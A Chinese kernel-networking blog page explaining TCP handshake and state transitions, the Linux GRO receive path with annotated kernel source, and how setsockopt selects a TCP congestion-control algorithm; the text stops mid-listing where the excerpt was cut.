kk Blog —— 通用基础

date [-d @int|str] [+%s|"+%F %T"]

TCP状态转换

1、建立连接协议(三次握手)

(1) 客户端发送一个带SYN标志的TCP报文到服务器。这是三次握手过程中的报文1。
(2) 服务器端回应客户端的,这是三次握手中的第2个报文,这个报文同时带ACK标志和SYN标志。因此它表示对刚才客户端SYN报文的回应;同时又标志SYN给客户端,询问客户端是否准备好进行数据通讯。
(3) 客户必须再次回应服务段一个ACK报文,这是报文段3。

2、连接终止协议(四次握手)

由于TCP连接是全双工的,因此每个方向都必须单独进行关闭。这原则是当一方完成它的数据发送任务后就能发送一个FIN来终止这个方向的连接。收到一个 FIN只意味着这一方向上没有数据流动,一个TCP连接在收到一个FIN后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。
(1) TCP客户端发送一个FIN,用来关闭客户到服务器的数据传送(报文段4)。
(2) 服务器收到这个FIN,它发回一个ACK,确认序号为收到的序号加1(报文段5)。和SYN一样,一个FIN将占用一个序号。
(3) 服务器关闭客户端的连接,发送一个FIN给客户端(报文段6)。
(4) 客户段发回ACK报文确认,并将确认序号设置为收到序号加1(报文段7)。

tcp状态解释

  1. CLOSED: 表示初始状态。
  2. LISTEN: 表示服务器端的某个SOCKET处于监听状态,可以接受连接了.
  3. SYN_SENT: 客户端通过应用程序调用connect进行active open.于是客户端tcp发送一个SYN以请求建立一个连接.之后状态置为SYN_SENT.
  4. SYN_RECV: 服务端应发出ACK确认客户端的SYN,同时自己向客户端发送一个SYN.之后状态置为SYN_RECV.
  5. ESTABLISHED:代表一个打开的连接,双方可以进行或已经在数据交互了.
  6. FIN_WAIT_1: 主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态.
  7. FIN_WAIT2: 主动关闭端接到ACK后,就进入了FIN-WAIT-2 . 其实FIN_WAIT_1和FIN_WAIT_2状态的真正含义都是表示等待对方的FIN报文。而这两种状态的区别 是:FIN_WAIT_1状态实际上是当SOCKET在ESTABLISHED状态时,它想主动关闭连接,向对方发送了FIN报文,此时该SOCKET即 进入到FIN_WAIT_1状态。而当对方回应ACK报文后,则进入到FIN_WAIT_2状态.
  8. CLOSE_WAIT: CLOSE_WAIT:被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT。接下来还有数据发送给对方,如果没有的话,那么你也就可以 close这个SOCKET,发送FIN报文给对方,也即关闭连接。所以你在CLOSE_WAIT状态下,需要完成的事情是等待你去关闭连接.
  9. LAST_ACK: 被动关闭端一段时间后,接收到文件结束符的应用程序将调用CLOSE关闭连接。这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK.
  10. TIME_WAIT: 在主动关闭端接收到FIN后,TCP就发送ACK包,并进入TIME-WAIT状态.
  11. CLOSING: 正常情况下,当你发送FIN报文后,按理来说是应该先收到(或同时收到)对方的 ACK报文,再收到对方的FIN报文。但是CLOSING状态表示你发送FIN报文后,没有收到对方的ACK报文,反而收到了对方的FIN报文。表示双方都正在关闭SOCKET连接.
  12. CLOSED: 被动关闭端在接受到ACK包后,就进入了closed的状态。连接结束.

linux kernel 网络协议栈之GRO(Generic receive offload)


Attention: gro会合并多个gso_size不同的包, 会将gso_size设置成第一个包的gso_size.

http://www.pagefault.info/?p=159

GRO(Generic receive offload)在内核2.6.29之后合并进去的,作者是一个华裔Herbert Xu ,GRO的简介可以看这里:

http://lwn.net/Articles/358910/

先来描述一下GRO的作用,GRO是针对网络接受包的处理的,并且只是针对NAPI类型的驱动,因此如果要支持GRO,不仅要内核支持,而且驱动也必须调用相应的借口,用ethtool -K gro on来设置,如果报错就说明网卡驱动本身就不支持GRO。

GRO类似tso,可是tso只支持发送数据包,这样你tcp层大的段会在网卡被切包,然后再传递给对端,而如果没有gro,则小的段会被一个个送到协议栈,有了gro之后,就会在接收端做一个反向的操作(想对于tso).也就是将tso切好的数据包组合成大包再传递给协议栈。

如果实现了GRO支持的驱动是这样子处理数据的,在NAPI的回调poll方法中读取数据包,然后调用GRO的接口napi_gro_receive或者napi_gro_frags来将数据包feed进协议栈。而具体GRO的工作就是在这两个函数中进行的,他们最终都会调用__napi_gro_receive。下面就是napi_gro_receive,它最终会调用napi_skb_finish以及__napi_gro_receive

1
2
3
4
5
6
gro_result_t napi_gro_receive(struct napi_struct *napi, struct sk_buff *skb)
{
	skb_gro_reset_offset(skb);
 
	return napi_skb_finish(__napi_gro_receive(napi, skb), skb);
}

然后GRO什么时候会将数据feed进协议栈呢,这里会有两个退出点,一个是在napi_skb_finish里,他会通过判断__napi_gro_receive的返回值,来决定是需要将数据包立即feed进协议栈还是保存起来,还有一个点是当napi的循环执行完毕时,也就是执行napi_complete的时候,先来看napi_skb_finish,napi_complete我们后面会详细介绍。

在NAPI驱动中,直接调用netif_receive_skb会将数据feed 进协议栈,因此这里如果返回值是NORMAL,则直接调用netif_receive_skb来将数据送进协议栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gro_result_t napi_skb_finish(gro_result_t ret, struct sk_buff *skb)
{
	switch (ret) {
	case GRO_NORMAL:
		//将数据包送进协议栈
		if (netif_receive_skb(skb))
			ret = GRO_DROP;
		break;
	//表示skb可以被free,因为gro已经将skb合并并保存起来。
	case GRO_DROP:
	case GRO_MERGED_FREE:
		//free skb
		kfree_skb(skb);
		break;
	//这个表示当前数据已经被gro保存起来,但是并没有进行合并,因此skb还需要保存。
	case GRO_HELD:
	case GRO_MERGED:
		break;
	}
 
	return ret;
}

GRO的主要思想就是,组合一些类似的数据包(基于一些数据域,后面会介绍到)为一个大的数据包(一个skb),然后feed给协议栈,这里主要是利用Scatter-gather IO,也就是skb的struct skb_shared_info域(我前面的blog讲述ip分片的时候有详细介绍这个域)来合并数据包。

在每个NAPI的实例都会包括一个域叫gro_list,保存了我们积攒的数据包(将要被merge的).然后每次进来的skb都会在这个链表里面进行查找,看是否需要merge。而gro_count表示当前的gro_list中的skb的个数。

1
2
3
4
5
6
7
8
9
struct napi_struct {
................................................
	//个数
	unsigned int        gro_count;
......................................
	//积攒的数据包
	struct sk_buff      *gro_list;
	struct sk_buff      *skb;
};

紧接着是gro最核心的一个数据结构napi_gro_cb,它是保存在skb的cb域中,它保存了gro要使用到的一些上下文,这里每个域kernel的注释都比较清楚。到后面我们会看到这些域的具体用途。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct napi_gro_cb {
	/* Virtual address of skb_shinfo(skb)->frags[0].page + offset. */
	void *frag0;
 
	/* Length of frag0. */
	unsigned int frag0_len;
 
	/* This indicates where we are processing relative to skb->data. */
	int data_offset;
 
	/* This is non-zero if the packet may be of the same flow. */
	int same_flow;
 
	/* This is non-zero if the packet cannot be merged with the new skb. */
	int flush;
 
	/* Number of segments aggregated. */
	int count;
 
	/* Free the skb? */
	int free;
};

每一层协议都实现了自己的gro回调函数,gro_receive和gro_complete,gro系统会根据协议来调用对应回调函数,其中gro_receive是将输入skb尽量合并到我们gro_list中。而gro_complete则是当我们需要提交gro合并的数据包到协议栈时被调用的。

下面就是ip层和tcp层对应的回调方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static const struct net_protocol tcp_protocol = {
	.handler =  tcp_v4_rcv,
	.err_handler =  tcp_v4_err,
	.gso_send_check = tcp_v4_gso_send_check,
	.gso_segment =  tcp_tso_segment,
	//gso回调
	.gro_receive =  tcp4_gro_receive,
	.gro_complete = tcp4_gro_complete,
	.no_policy =    1,
	.netns_ok = 1,
};
 
static struct packet_type ip_packet_type __read_mostly = {
	.type = cpu_to_be16(ETH_P_IP),
	.func = ip_rcv,
	.gso_send_check = inet_gso_send_check,
	.gso_segment = inet_gso_segment,
	//gso回调
	.gro_receive = inet_gro_receive,
	.gro_complete = inet_gro_complete,
};

gro的入口函数是napi_gro_receive,它的实现很简单,就是将skb包含的gro上下文reset,然后调用__napi_gro_receive,最终通过napi_skb_finis来判断是否需要讲数据包feed进协议栈。

1
2
3
4
5
6
7
gro_result_t napi_gro_receive(struct napi_struct *napi, struct sk_buff *skb)
{
	//reset gro对应的域
	skb_gro_reset_offset(skb);
 
	return napi_skb_finish(__napi_gro_receive(napi, skb), skb);
}

napi_skb_finish一开始已经介绍过了,这个函数主要是通过判断传递进来的ret(__napi_gro_receive的返回值),来决定是否需要feed数据进协议栈。它的第二个参数是前面处理过的skb。

这里再来看下skb_gro_reset_offset,首先要知道一种情况,那就是skb本身不包含数据(包括头也没有),而所有的数据都保存在skb_shared_info中(支持S/G的网卡有可能会这么做).此时我们如果想要合并的话,就需要将包头这些信息取出来,也就是从skb_shared_info的frags[0]中去的,在 skb_gro_reset_offset中就有做这个事情,而这里就会把头的信息保存到napi_gro_cb 的frags0中。并且此时frags必然不会在high mem,要么是线性区,要么是dma(S/G io)。 来看skb_gro_reset_offset。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void skb_gro_reset_offset(struct sk_buff *skb)
{
	NAPI_GRO_CB(skb)->data_offset = 0;
	NAPI_GRO_CB(skb)->frag0 = NULL;
	NAPI_GRO_CB(skb)->frag0_len = 0;
	//如果mac_header和skb->tail相等并且地址不在高端内存,则说明包头保存在skb_shinfo中,所以我们需要从frags中取得对应的数据包
	if (skb->mac_header == skb->tail &&
		!PageHighMem(skb_shinfo(skb)->frags[0].page)) {
		// 可以看到frag0保存的就是对应的skb的frags的第一个元素的地址
		// frag0的作用是: 有些包的包头会存在skb->frag[0]里面,gro合并时会调用skb_gro_header_slow将包头拉到线性空间中,那么在非线性skb->frag[0]中的包头部分就应该删掉。
			NAPI_GRO_CB(skb)->frag0 =
				page_address(skb_shinfo(skb)->frags[0].page) +
				skb_shinfo(skb)->frags[0].page_offset;
		//然后保存对应的大小。
		NAPI_GRO_CB(skb)->frag0_len = skb_shinfo(skb)->frags[0].size;
	}
}

接下来就是__napi_gro_receive,它主要是遍历gro_list,然后给same_flow赋值,这里要注意,same_flow是一个标记,表示某个skb是否有可能会和当前要处理的skb是相同的流,而这里的相同会在每层都进行判断,也就是在设备层,ip层,tcp层都会判断,这里就是设备层的判断了。这里的判断很简单,有2个条件:
1 设备是否相同
2 mac的头必须相等

如果上面两个条件都满足,则说明两个skb有可能是相同的flow,所以设置same_flow,以便与我们后面合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static gro_result_t
__napi_gro_receive(struct napi_struct *napi, struct sk_buff *skb)
{
	struct sk_buff *p;
 
	if (netpoll_rx_on(skb))
		return GRO_NORMAL;
	//遍历gro_list,然后判断是否有可能两个skb 相似。
	for (p = napi->gro_list; p; p = p->next) {
		//给same_flow赋值
		NAPI_GRO_CB(p)->same_flow =
			(p->dev == skb->dev) &&
			!compare_ether_header(skb_mac_header(p),
				skb_gro_mac_header(skb));
		NAPI_GRO_CB(p)->flush = 0;
	}
	//调用dev_gro_receiv
	return dev_gro_receive(napi, skb);
}

接下来来看dev_gro_receive,这个函数我们分做两部分来看,第一部分是正常处理部分,第二部份是处理frag0的部分。

来看如何判断是否支持GRO,这里每个设备的features会在驱动初始化的时候被初始化,然后如果支持GRO,则会包括NETIF_F_GRO。 还有要注意的就是,gro不支持切片的ip包,因为ip切片的组包在内核的ip会做一遍,因此这里gro如果合并的话,没有多大意义,而且还增加复杂度。

在dev_gro_receive中会遍历对应的ptype(也就是协议的类链表,以前的blog有详细介绍),然后调用对应的回调函数,一般来说这里会调用文章开始说的ip_packet_type,也就是 inet_gro_receive。

而 inet_gro_receive的返回值表示我们需要立刻feed 进协议栈的数据包,如果为空,则说明不需要feed数据包进协议栈。后面会分析到这里他的详细算法。

而如果当inet_gro_receive正确返回后,如果same_flow没有被设置,则说明gro list中不存在能和当前的skb合并的项,因此此时需要将skb插入到gro list中。这个时候的返回值就是HELD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
enum gro_result dev_gro_receive(struct napi_struct *napi, struct sk_buff *skb)
{
	struct sk_buff **pp = NULL;
	struct packet_type *ptype;
	__be16 type = skb->protocol;
	struct list_head *head = &ptype_base[ntohs(type) & PTYPE_HASH_MASK];
	int same_flow;
	int mac_len;
	enum gro_result ret;
	//判断是否支持gro
	if (!(skb->dev->features & NETIF_F_GRO))
		goto normal;
	//判断是否为切片的ip包
	if (skb_is_gso(skb) || skb_has_frags(skb))
		goto normal;

	rcu_read_lock();
	//开始遍历对应的协议表
	list_for_each_entry_rcu(ptype, head, list) {
		if (ptype->type != type || ptype->dev || !ptype->gro_receive)
			continue;

		skb_set_network_header(skb, skb_gro_offset(skb));
		mac_len = skb->network_header - skb->mac_header;
		skb->mac_len = mac_len;
		NAPI_GRO_CB(skb)->same_flow = 0;
		NAPI_GRO_CB(skb)->flush = 0;
		NAPI_GRO_CB(skb)->free = 0;
		//调用对应的gro接收函数
		pp = ptype->gro_receive(&napi->gro_list, skb);
		break;
	}
	rcu_read_unlock();
	//如果是没有实现gro的协议则也直接调到normal处理
	if (&ptype->list == head)
		goto normal;
 
	//到达这里,则说明gro_receive已经调用过了,因此进行后续的处理
 
	//得到same_flow
	same_flow = NAPI_GRO_CB(skb)->same_flow;
	//看是否有需要free对应的skb
	ret = NAPI_GRO_CB(skb)->free ? GRO_MERGED_FREE : GRO_MERGED;
	//如果返回值pp部位空,则说明pp需要马上被feed进协议栈
	if (pp) {
		struct sk_buff *nskb = *pp;
 
		*pp = nskb->next;
		nskb->next = NULL;
		//调用napi_gro_complete 将pp刷进协议栈
		napi_gro_complete(nskb);
		napi->gro_count--;
	}
	//如果same_flow有设置,则说明skb已经被正确的合并,因此直接返回。
	if (same_flow)
		goto ok;
	//查看是否有设置flush和gro list的个数是否已经超过限制
	// BUG: 这里是有点不对的,因为这时的skb是比gro_list中的skb更晚到的,但是却被先feed进了协议栈
	if (NAPI_GRO_CB(skb)->flush || napi->gro_count >= MAX_GRO_SKBS)
		goto normal;
 
	//到达这里说明skb对应gro list来说是一个新的skb,也就是说当前的gro list并不存在可以和skb合并的数据包,因此此时将这个skb插入到gro_list的头。
	napi->gro_count++;
	NAPI_GRO_CB(skb)->count = 1;
	skb_shinfo(skb)->gso_size = skb_gro_len(skb);
	//将skb插入到gro list的头
	skb->next = napi->gro_list;
	napi->gro_list = skb;
	//设置返回值
	ret = GRO_HELD;

然后就是处理frag0的部分,以及不支持gro的处理。 frag0的作用是: 有些包的包头会存在skb->frag[0]里面,gro合并时会调用skb_gro_header_slow将包头拉到线性空间中,那么在非线性skb->frag[0]中的包头部分就应该删掉。

这里要需要对skb_shinfo的结构比较了解,我在以前的blog对这个有很详细的介绍,可以去查阅。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pull:
	//是否需要拷贝头
	if (skb_headlen(skb) < skb_gro_offset(skb)) {
		//得到对应的头的大小
		int grow = skb_gro_offset(skb) - skb_headlen(skb);
 
		BUG_ON(skb->end - skb->tail < grow);
		//开始拷贝
		memcpy(skb_tail_pointer(skb), NAPI_GRO_CB(skb)->frag0, grow);
 
		skb->tail += grow;
		skb->data_len -= grow;
		//更新对应的frags[0]
		skb_shinfo(skb)->frags[0].page_offset += grow;
		skb_shinfo(skb)->frags[0].size -= grow;
		//如果size为0了,则说明第一个页全部包含头,因此需要将后面的页全部移动到前面。
		if (unlikely(!skb_shinfo(skb)->frags[0].size)) {
			put_page(skb_shinfo(skb)->frags[0].page);
			//开始移动。
			memmove(skb_shinfo(skb)->frags,
				skb_shinfo(skb)->frags + 1,
				--skb_shinfo(skb)->nr_frags * sizeof(skb_frag_t));
		}
	}
 
ok:
	return ret;
 
normal:
	ret = GRO_NORMAL;
	goto pull;
}

接下来就是inet_gro_receive,这个函数是ip层的gro receive回调函数,函数很简单,首先取得ip头,然后判断是否需要从frag复制数据,如果需要则复制数据

1
2
3
4
5
6
7
8
9
10
11
12
//得到偏移
off = skb_gro_offset(skb);
//得到头的整个长度(mac+ip)
hlen = off + sizeof(*iph);
//得到ip头
iph = skb_gro_header_fast(skb, off);
//是否需要复制
if (skb_gro_header_hard(skb, hlen)) {
	iph = skb_gro_header_slow(skb, hlen, off);
	if (unlikely(!iph))
		goto out;
}

然后就是一些校验工作,比如协议是否支持gro_reveive,ip头是否合法等等

1
2
3
4
5
6
7
8
9
10
11
12
13
proto = iph->protocol & (MAX_INET_PROTOS - 1);
 
rcu_read_lock();
ops = rcu_dereference(inet_protos[proto]);
//是否支持gro
if (!ops || !ops->gro_receive)
	goto out_unlock;
//ip头是否合法, iph->version = 4, iph->ipl = 5
if (*(u8 *)iph != 0x45)
	goto out_unlock;
//ip头教研
if (unlikely(ip_fast_csum((u8 *)iph, iph->ihl)))
	goto out_unlock;

然后就是核心的处理部分,它会遍历整个gro_list,然后进行same_flow和是否需要flush的判断。

这里ip层设置same_flow是根据下面的规则的:
1 4层的协议必须相同
2 tos域必须相同
3 源,目的地址必须相同

如果3个条件一个不满足,则会设置same_flow为0。 这里还有一个就是判断是否需要flush 对应的skb到协议栈,这里的判断条件是这样子的。
1 ip包的ttl不一样
2 ip包的id顺序不对
3 如果是切片包

如果上面两个条件某一个满足,则说明skb需要被flush出gro。

不过这里要注意只有两个数据包是same flow的情况下,才会进行flush判断。原因很简单,都不是有可能进行merge的包,自然没必要进行flush了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
	//取出id
	id = ntohl(*(__be32 *)&iph->id);
	//判断是否需要切片
	flush = (u16)((ntohl(*(__be32 *)iph) ^ skb_gro_len(skb)) | (id ^ IP_DF));
	id >>= 16;
	//开始遍历gro list
	for (p = *head; p; p = p->next) {
		struct iphdr *iph2;
		//如果上一层已经不可能same flow则直接继续下一个
		if (!NAPI_GRO_CB(p)->same_flow)
			continue;
		//取出ip头
		iph2 = ip_hdr(p);
		//开始same flow的判断
		if ((iph->protocol ^ iph2->protocol) |
			(iph->tos ^ iph2->tos) |
			((__force u32)iph->saddr ^ (__force u32)iph2->saddr) |
			((__force u32)iph->daddr ^ (__force u32)iph2->daddr)) {
			NAPI_GRO_CB(p)->same_flow = 0;
			continue;
		}
		//开始flush的判断。这里注意如果不是same_flow的话,就没必要进行flush的判断。
		/* All fields must match except length and checksum. */
		NAPI_GRO_CB(p)->flush |=
			(iph->ttl ^ iph2->ttl) |
			((u16)(ntohs(iph2->id) + NAPI_GRO_CB(p)->count) ^ id);
 
		NAPI_GRO_CB(p)->flush |= flush;
	}
 
	NAPI_GRO_CB(skb)->flush |= flush;
	//pull ip头进gro,这里更新data_offset
	skb_gro_pull(skb, sizeof(*iph));
	//设置传输层的头的位置
	skb_set_transport_header(skb, skb_gro_offset(skb));
	//调用传输层的reveive方法。
	pp = ops->gro_receive(head, skb);
 
out_unlock:
	rcu_read_unlock();
 
out:
	NAPI_GRO_CB(skb)->flush |= flush;
 
}

然后就是tcp层的gro方法,它的主要实现函数是tcp_gro_receive,他的流程和inet_gro_receiv类似,就是取得tcp的头,然后对gro list进行遍历,最终会调用合并方法。

首先来看gro list遍历的部分,它对same flow的要求就是source必须相同,如果不同则设置same flow为0.如果相同则跳到found部分,进行合并处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//遍历gro list
for (; (p = *head); head = &p->next) {
	//如果ip层已经不可能same flow则直接进行下一次匹配
	if (!NAPI_GRO_CB(p)->same_flow)
		continue;
 
	th2 = tcp_hdr(p);
	//判断源地址
	if (*(u32 *)&th->source ^ *(u32 *)&th2->source) {
		NAPI_GRO_CB(p)->same_flow = 0;
		continue;
	}
 
	goto found;
}

接下来就是当找到能够合并的skb的时候的处理,这里首先来看flush的设置,这里会有4个条件:
1 拥塞状态被设置(TCP_FLAG_CWR).
2 tcp的ack的序列号不匹配 (这是肯定的,因为它只是对tso或者说gso进行反向操作)
3 skb的flag和从gro list中查找到要合并skb的flag 如果他们中的不同位 不包括TCP_FLAG_CWR | TCP_FLAG_FIN | TCP_FLAG_PSH,这三个任意一个域。
4 tcp的option域不同

如果上面4个条件有一个满足,则会设置flush为1,也就是找到的这个skb(gro list中)必须被刷出到协议栈。

这里谈一下flags域的设置问题首先如果当前的skb设置了cwr,也就是发生了拥塞,那么自然前面被缓存的数据包需要马上被刷到协议栈,以便与tcp的拥塞控制马上进行。

而FIN和PSH这两个flag自然不需要一致,因为这两个和其他的不是互斥的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
found:
	flush = NAPI_GRO_CB(p)->flush;
	//如果设置拥塞,则肯定需要刷出skb到协议栈
	flush |= (__force int)(flags & TCP_FLAG_CWR);
	//如果相差的域是除了这3个中的,就需要flush出skb
	flush |= (__force int)((flags ^ tcp_flag_word(th2)) &
		  ~(TCP_FLAG_CWR | TCP_FLAG_FIN | TCP_FLAG_PSH));
	//ack的序列号必须一致
	flush |= (__force int)(th->ack_seq ^ th2->ack_seq);
	//tcp的option头必须一致
	for (i = sizeof(*th); i < thlen; i += 4)
		flush |= *(u32 *)((u8 *)th + i) ^
			 *(u32 *)((u8 *)th2 + i);
 
	mss = skb_shinfo(p)->gso_size;
	// 0-1 = 0xFFFFFFFF, 所以skb的数据部分长度为0的包是不会被合并的
	flush |= (len - 1) >= mss;
	flush |= (ntohl(th2->seq) + skb_gro_len(p)) ^ ntohl(th->seq);
	//如果flush有设置则不会调用 skb_gro_receive,也就是不需要进行合并,否则调用skb_gro_receive进行数据包合并
	if (flush || skb_gro_receive(head, skb)) {
		mss = 1;
		goto out_check_final;
	}
 
	p = *head;
	th2 = tcp_hdr(p);
	//更新p的头。到达这里说明合并完毕,因此需要更新合并完的新包的头。
	tcp_flag_word(th2) |= flags & (TCP_FLAG_FIN | TCP_FLAG_PSH);

从上面我们可以看到如果tcp的包被设置了一些特殊的flag比如PSH,SYN这类的就必须马上把数据包刷出到协议栈。

下面就是最终的一些flags判断,比如第一个数据包进来都会到这里来判断。

1
2
3
4
5
6
7
8
9
10
11
12
out_check_final:
	flush = len < mss;
	//根据flag得到flush
	flush |= (__force int)(flags & (TCP_FLAG_URG | TCP_FLAG_PSH |
					TCP_FLAG_RST | TCP_FLAG_SYN |
					TCP_FLAG_FIN));
 
	if (p && (!NAPI_GRO_CB(skb)->same_flow || flush))
		pp = head;
 
out:
	NAPI_GRO_CB(skb)->flush |= flush;

这里要知道每次我们只会刷出gro list中的一个skb节点,这是因为每次进来的数据包我们也只会匹配一个。因此如果遇到需要刷出的数据包,会在dev_gro_receive中先刷出gro list中的,然后再将当前的skb feed进协议栈。

最后就是gro最核心的一个函数skb_gro_receive,它的主要工作就是合并,它有2个参数,第一个是gro list中和当前处理的skb是same flow的skb,第二个就是我们需要合并的skb。

这里要注意就是farg_list,其实gro对待skb_shared_info和ip层切片,组包很类似,就是frags放Scatter-Gather I/O的数据包,frag_list放线性数据。这里gro 也是这样的,如果过来的skb支持Scatter-Gather I/O并且数据是只放在frags中,则会合并frags,如果过来的skb不支持Scatter-Gather I/O(数据头还是保存在skb中),则合并很简单,就是新建一个skb然后拷贝当前的skb,并将gro list中的skb直接挂载到farg_list。

先来看支持Scatter-Gather I/O的处理部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//一些需要用到的变量
struct sk_buff *p = *head;
struct sk_buff *nskb;
//当前的skb的 share_ino
struct skb_shared_info *skbinfo = skb_shinfo(skb);
//当前的gro list中的要合并的skb的share_info
struct skb_shared_info *pinfo = skb_shinfo(p);
unsigned int headroom;
unsigned int len = skb_gro_len(skb);
unsigned int offset = skb_gro_offset(skb);
unsigned int headlen = skb_headlen(skb);
//如果有frag_list的话,则直接去非Scatter-Gather I/O部分处理,也就是合并到frag_list.
if (pinfo->frag_list)
	goto merge;
else if (headlen <= offset) {
	//支持Scatter-Gather I/O的处理
	skb_frag_t *frag;
	skb_frag_t *frag2;
	int i = skbinfo->nr_frags;
	//这里遍历是从后向前。
	int nr_frags = pinfo->nr_frags + i;
 
	offset -= headlen;
 
	if (nr_frags > MAX_SKB_FRAGS)
		return -E2BIG;
	//设置pinfo的frags的大小,可以看到就是加上skb的frags的大小
	pinfo->nr_frags = nr_frags;
	skbinfo->nr_frags = 0;
 
	frag = pinfo->frags + nr_frags;
	frag2 = skbinfo->frags + i;
	//遍历赋值,其实就是地址赋值,这里就是将skb的frag加到pinfo的frgas后面。
	do {
		*--frag = *--frag2;
	} while (--i);
	//更改page_offet的值
	frag->page_offset += offset;
	//修改size大小
	frag->size -= offset;
	//更新skb的相关值
	skb->truesize -= skb->data_len;
	skb->len -= skb->data_len;
	skb->data_len = 0;
 
	NAPI_GRO_CB(skb)->free = 1;
	//最终完成
	goto done;
} else if (skb_gro_len(p) != pinfo->gso_size)
	return -E2BIG;

这里gro list中的要被合并的skb我们叫做skb_s.

接下来就是不支持支持Scatter-Gather I/O(skb的头放在skb中)的处理。这里处理也比较简单,就是复制一个新的nskb,然后它的头和skb_s一样,然后将skb_s挂载到nskb的frag_list上,并且把新建的nskb挂在到gro list中,代替skb_s的位置,而当前的skb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
	headroom = skb_headroom(p);
	nskb = alloc_skb(headroom + skb_gro_offset(p), GFP_ATOMIC);
	if (unlikely(!nskb))
		return -ENOMEM;
	//复制头
	__copy_skb_header(nskb, p);
	nskb->mac_len = p->mac_len;
 
	skb_reserve(nskb, headroom);
	__skb_put(nskb, skb_gro_offset(p));
	//设置各层的头
	skb_set_mac_header(nskb, skb_mac_header(p) - p->data);
	skb_set_network_header(nskb, skb_network_offset(p));
	skb_set_transport_header(nskb, skb_transport_offset(p));
 
	__skb_pull(p, skb_gro_offset(p));
	//复制数据
	memcpy(skb_mac_header(nskb), skb_mac_header(p),
		   p->data - skb_mac_header(p));
	//对应的gro 域的赋值
	*NAPI_GRO_CB(nskb) = *NAPI_GRO_CB(p);
	//可以看到frag_list被赋值
	skb_shinfo(nskb)->frag_list = p;
	skb_shinfo(nskb)->gso_size = pinfo->gso_size;
	pinfo->gso_size = 0;
	skb_header_release(p);
	nskb->prev = p;
	//更新新的skb的数据段
	nskb->data_len += p->len;
	nskb->truesize += p->len;  // 应该改成 nskb->truesize += p->truesize; 更准确
	nskb->len += p->len;
	//将新的skb插入到gro list中
	*head = nskb;
	nskb->next = p->next;
	p->next = NULL;
 
	p = nskb;
 
merge:
	if (offset > headlen) {
		skbinfo->frags[0].page_offset += offset - headlen;
		skbinfo->frags[0].size -= offset - headlen;
		offset = headlen;
	}
 
	__skb_pull(skb, offset);
	//将skb插入新的skb的(或者老的skb,当frag list本身存在)fraglist
	// 这里是用p->prev来记录了p->fraglist的最后一个包,所以在gro向协议栈提交时最好加一句skb->prev = NULL;
	p->prev->next = skb;
	p->prev = skb;
	skb_header_release(skb);

拥塞控制模块注意

应用改变sock的拥塞控制算法

1
2
3
4
5
#define SOL_TCP 6
#define TCP_CONGESTION  13

strcpy(name, "cubic");
setsockopt (connfd, SOL_TCP, TCP_CONGESTION, name, strlen(name));
net/socket.c
1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
		char __user *, optval, int, optlen)
{
	...
			err =
				sock->ops->setsockopt(sock, level, optname, optval,
						  optlen);
	...
}

对于ipv4的tcp,sock->ops指向 net/ipv4/af_inet.c 中的 inet_stream_ops,所以setsockopt等于sock_common_setsockopt。

net/core/sock.c
1
2
3
4
5
6
7
int sock_common_setsockopt(struct socket *sock, int level, int optname,
			   char __user *optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;

	return sk->sk_prot->setsockopt(sk, level, optname, optval, optlen);
}

sk_prot 指向 net/ipv4/tcp_ipv4.c 中的 tcp_prot,所以setsockopt等于tcp_setsockopt

net/ipv4/tcp.c
1
2
3
4
5
6
7
8
9
10
int tcp_setsockopt(struct sock *sk, int level, int optname, char __user *optval,
		   unsigned int optlen)
{
	struct inet_connection_sock *icsk = inet_csk(sk);

	if (level != SOL_TCP)
		return icsk->icsk_af_ops->setsockopt(sk, level, optname,
							 optval, optlen);
	return do_tcp_setsockopt(sk, level, optname, optval, optlen);
}

因为level = SOL_TCP, optname = TCP_CONGESTION, 所以直接到do_tcp_setsockopt的第一个if里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int do_tcp_setsockopt(struct sock *sk, int level,
		int optname, char __user *optval, unsigned int optlen)
{
	struct tcp_sock *tp = tcp_sk(sk);
	struct inet_connection_sock *icsk = inet_csk(sk); 
	int val;    
	int err = 0;

	/* This is a string value all the others are int's */
	if (optname == TCP_CONGESTION) {    
		char name[TCP_CA_NAME_MAX]; 

		if (optlen < 1)
			return -EINVAL;

		val = strncpy_from_user(name, optval,
					min_t(long, TCP_CA_NAME_MAX-1, optlen));
		if (val < 0)
			return -EFAULT;
		name[val] = 0;

		lock_sock(sk);
		err = tcp_set_congestion_control(sk, name);
		release_sock(sk);
		return err;
	}

...

net/ipv4/tcp_cong.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
